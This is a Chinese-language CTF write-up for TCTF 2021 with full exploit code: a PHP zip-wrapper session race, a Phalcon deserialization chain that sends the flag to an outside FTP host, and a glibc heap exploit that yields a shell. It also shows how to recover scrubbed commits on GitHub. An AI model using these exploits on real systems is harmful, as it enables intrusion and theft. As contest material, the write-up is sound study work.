TCTF2021 Writeup

ROIS

Web

1linephp

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

对比phpinfo发现多了个zip扩展

这就是https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge改的

和原题相比,这题会在文件名后加个.php,利用zip协议绕过:zip://sess_?????????????/#2333.php

但是session upload process只有部分可控,前16位是固定upload_progress_

跟了下zip协议的处理,发现最后是调用了libzip的zip_open,继续跟下去发现zip_open并没有去判断文件头,于是上传正常zip包的16字节之后的数据

exp:

import io
import requests
import threading
sessid = 'ccreater'
data = {1:"system('ls -al /');system('/readflag');echo file_get_contents('/flag');"}
proxies = {"http":"http://127.0.0.1:8080"}
baseurl = "http://111.186.59.2:50081/"

def write(session):
    data = b""
    with open("test112.zip","rb") as f:
        data = f.read()
    data = data[16:]
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        try:
            resp = session.post( baseurl+'/index.php?yxxx=zip:///tmp/sess_{sessid}%23../test'.format(sessid=sessid),proxies = proxies, data={'PHP_SESSION_UPLOAD_PROGRESS': data}, files={'file': ('ccreater.txt',f)}, cookies={'PHPSESSID': sessid} )
        except Exception as e:
            print(e)
def read(session):
    while True:
        try:
            resp = session.post(baseurl +'/index.php?yxxx=zip:///tmp/sess_{sessid}%23../test'.format(sessid=sessid),proxies=proxies,data=data)
            if '@' == resp.text[0]:
                print(resp.text)
                event.clear()
        except Exception as e:
            print(e)
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in xrange(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in xrange(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

soracon

<?php
highlight_file(__FILE__);
$host = $_GET['host'] ?? '127.0.0.1';
$options = ['hostname' => $host, 'port' => 8983, 'path' => '/solr'];
$client = new SolrClient($options);
$query = new SolrQuery();
$query->setQuery('lucene');
$query_response = $client->query($query);
$response = $query_response->getResponse();
print_r($response);

题目放出提示127.0.0.1:8983是假的solr服务器,于是猜测php的solr扩展在与恶意服务器交互的过程中执行了恶意代码

对比phpinfo,发现多装了三个模块phalcon,psr,solr,其中psr是phalcon的以来,而phalcon是一个php框架

solr作为题目的入口,因此先审计solr的代码

审计solr的源码发现一个很有意思的地方:

在与solr通信的过程中,solr都会把数据转成php seriaze的格式然后调用unseriaze

if (0 == strcmp(Z_STRVAL_P(response_writer), SOLR_XML_RESPONSE_WRITER))
{
    /* SOLR_XML_RESPONSE_WRITER */

    /* Convert from XML serialization to PHP serialization format */
    solr_encode_generic_xml_response(&buffer, Z_STRVAL_P(raw_response), Z_STRLEN_P(raw_response), Z_LVAL_P(parser_mode));
    if(return_array)
    {
        solr_sobject_to_sarray(&buffer);
    }
}
//...
php_var_unserialize(return_value, &raw_resp, str_end, &var_hash)

跟进solr_encode_generic_xml_response

发现最后使用以下方法将xml转成php serialize

static solr_php_encode_func_t solr_encoder_functions[] = {
    solr_encode_string,
    solr_encode_null,
    solr_encode_bool,
    solr_encode_int,
    solr_encode_float,
    solr_encode_string,
    solr_encode_array,
    solr_encode_object,
    solr_encode_document,
    solr_encode_result,
    NULL
};

跟进去发现,solr_encode_int没有验证数据是否是整数,而是直接拼接到了seriaze的字符串中

于是构造:

<?php
$pop = serialize(new Phalcon\Logger\Adapter\Stream());

$payload=<<<EOT
<root>
<short name="sb">9999;s:4:"fuck";$pop}</short>
<str name="tset"></str>
</root>
EOT;
file_put_contents("payload",$payload);

接着就是挖反序列化pop链了,从phalcon入手

最后得到exp:

<?php


    namespace Phalcon\Logger {


    class Item{
        public $context = "";
        public $message = "";
        public $name = "";
        public $time = "";
        public $type = "";
        public function __construct(){

            $this->message = new \Phalcon\Forms\Element\Date();
        }
    }
}

namespace Phalcon{
    class Validation{
        public $entity;
        public $filters = [];
        public function __construct(){
            $this->entity = new \Phalcon\DataMapper\Pdo\ConnectionLocator();
        }

    }
    class Loader{
        public $fileCheckingCallback="system";
        public $files=["/readflag"];

    }
}

namespace Phalcon\DataMapper\Pdo {

    class ConnectionLocator{

        public $write;
        public $instances;
        public function __construct(){
            $rce = [new \Phalcon\Loader(),"loadFiles"];
            $this->write = ["key"=>$rce];

        }
    }
}

namespace Phalcon\Assets{

    class Asset{
        public $sourcePath;
        public $local = false;
        public function __construct(){
            global $argv;
            var_dump($argv);
            $this->sourcePath = $argv[1];
        }

    }
}

namespace Phalcon\Forms\Element{
    class Date{
        public $name ="write";
        public $attributes;
        public $form;
        public function __construct(){

            $this->attributes = ["escape"=>false];
            $this->form = new \Phalcon\Validation();
        }
    }

}

namespace Phalcon\Logger\Formatter{
    class Line{
        public $format='%message%';

    }
}
namespace Phalcon\Logger\Adapter {
    class Stream{
        public $inTransaction = true;
        public $queue;
        public $name = "ftp://a:a@ccreater.top:61235/flag";
        public $mode = "w";
        public $formatter;
        public function __construct(){
            $this->formatter = new \Phalcon\Logger\Formatter\Line(); 
            $this->queue = ["1"=>new \Phalcon\Logger\Item()];

        }
    }
}
namespace {
    function encode($str){
        $result = "";
        for($i=0;$i<strlen($str);$i++){
            $result .= "&#".sprintf("%02x",ord($str[$i])).";";

        }
        return $result;

    }
    $pop =  serialize(new Phalcon\Logger\Adapter\Stream());
    $pop = htmlspecialchars($pop, ENT_XML1 | ENT_QUOTES, 'UTF-8');
    $payload=<<<EOT
        <root>
        <short name="sb">9999;s:4:"fuck";$pop}</short>
    <str name="tset"></str>
    </root>
EOT;
file_put_contents("payload",$payload);
}

Pwn

listbook

漏洞位于计算name总和的函数hash_name
sum = abs8(v3);//v3是有符号类型,当sum=0x80,则0x100-0x80=0x80 sum仍然等于0x80,是负数,所以可以通过下面这条检测,于是返回下标-0x80,效果相当于向list[0]写入堆值。
if ( sum > 0xF )
sum %= 0x10;

# -*- coding: utf-8 -*
import os
import subprocess
from math import *
import sys
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
def add(name,content):
    p.sendlineafter(">>","1")
    p.sendafter("name",name)
    p.sendafter("content",content)
def free(idx):
    p.sendlineafter(">>","2")
    p.sendlineafter("index",str(idx))
def show(idx):
    p.sendlineafter(">>","3")
    p.sendlineafter("index",str(idx))

addr = "111.186.58.249"
port = 20001
p = remote(addr,port)
#p = process("./listbook")
#libc = ELF("/home/wslsb/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6")
libc = ELF("./libc-2.31.so")

for i in range(8):
    add('\x01\n','\n')
free(1)
for i in range(6):
    add('\x01\n','\n')

add('\x02\n','\n')
add('\x00\n','\n')

add('\x03\n','\n')
add('\x04\n','\n')
free(1)
free(3)

#0和2合并
free(0)
free(2)

for i in range(7):
    add('\x05\n','\n')
add('\x06\n','\n')

for i in range(8):
    add('\x07\n','\n')
free(7)
free(0)
add("\x80"+"\n","\n")
show(0)
p.recvuntil("\x20\x3d\x3e\x20")
libcbase = u64(p.recvline(False).ljust(8,'\x00')) - (0x7f1c126b8be0 - 0x7f1c124cd000)
print hex(libcbase)
raw_input()
free_hook = libcbase + libc.symbols['__free_hook'];
system = libcbase + libc.symbols['system'];
for i in range(2):
    add('\x07\n','\n')
for i in range(4):
    add('\x08\n','\n')
free(7)
free(0)

free(6)#通过6控制0
add('\x06\n',"A"*0xB0+p64(0)+p64(0x211)+p64(free_hook)+"\n")
add('\x00\n','/bin/sh\x00\n')
add('\x01\n',p64(system)+'\n')
free(0)

#gdb.attach(p)



p.interactive()

Crypto

checkin

from gmpy2 import mpz,powmod
from os import read
import socket
import re
def readline(s):
    buffer = []
    while True:
        d = s.recv(1)
        if d:
            buffer.append(d)
        else:
            break
        if d == b"\n":
            break
    return b"".join(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('111.186.59.11', 16256))
print(readline(s))
challenge = str(readline(s),encoding="ascii").strip()
print(challenge)
(op1,op2)=challenge.split("mod")
(op3,op4,op5) = op1.split("^")
op5 = op5.replace(")","").strip()
op2 = op2.split("=")[0].strip()
result1 = 0
result = powmod(mpz(2),pow(mpz(2),mpz(int(op5))),mpz(int(op2)))
print(result)
s.send(bytes("{result}".format(result=result),encoding="ascii"))
s.send(b"\n")
print(readline(s))
print(readline(s))
print(readline(s))

Misc

Guthib

赛题提供的git仓库,被bfg清理过密码,要找到被清理的密码

bfg清理commit后,在commit历史记录中找不到
但是在github git gc之前,还是能根据commit的sha找到对应的提交记录的

github.com/仓库名/commit/sha

调用该接口可以获得对应的commit

但是我们还没有清理前的sha,然后发现,该接口不一定需要完整的sha,最少可以接受前四位的sha来寻找commit记录,于是对前四位进行爆破,最后爆出了想要的commit sha:6442,然后获得了密码,即为flag

welcome

flag{welcome_to_0ctf/tctf_2021_have_fun}

singer

打开后得到一个音符文件

A6-D#6
G#6
G6
G6
G#6
A6-D#6

C6-G5
F#5
F#5
C6-G5

A6-F#6,D#6
A6,F#6,D#6
A6,F#6-D#6

A6,D#6
A6-D#6
A6,D#6

F#7-C7
E7-D7
F7,C#7
F#7,C7

E6,A#5
E6-A#5
E6,A#5

A6-D#6
A6-G6
F#6-E6
A6-D#6

C#7-G6
C#7,G6
C#7,A#6,G6
C#7,A#6-G6

先将音符转化为音高

A6-D#6  33-27
G#6     32
G6      31
G6      31
G#6     32
A6-D#6  33-27

C6-G5   24-19
F#5     18
F#5     18
C6-G5   24-19

A6-F#6,D#6     33-30,27
A6,F#6,D#6     33,30,27
A6,F#6-D#6     33,30-27

A6,D#6         33,27
A6-D#6         33-27
A6,D#6         33,27

F#7-C7         42-36
E7-D7          40-38
F7,C#7         41,37
F#7,C7         42,36

E6,A#5         28,22
E6-A#5         28-22
E6,A#5         28,22


A6-D#6      33-27
A6-G6       33-31
F#6-E6      30-28
A6-D#6      33-27

C#7-G6      37-31
C#7,G6      37 31
C#7,A#6,G6  37 34 31
C#7,A#6-G6  37 34-31

之后 将 – 看成连续

作图即可看出flag(如下图)

musiking

upload_96412c0bf5193b9f0958cc0286a43366

Survey

填问卷

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注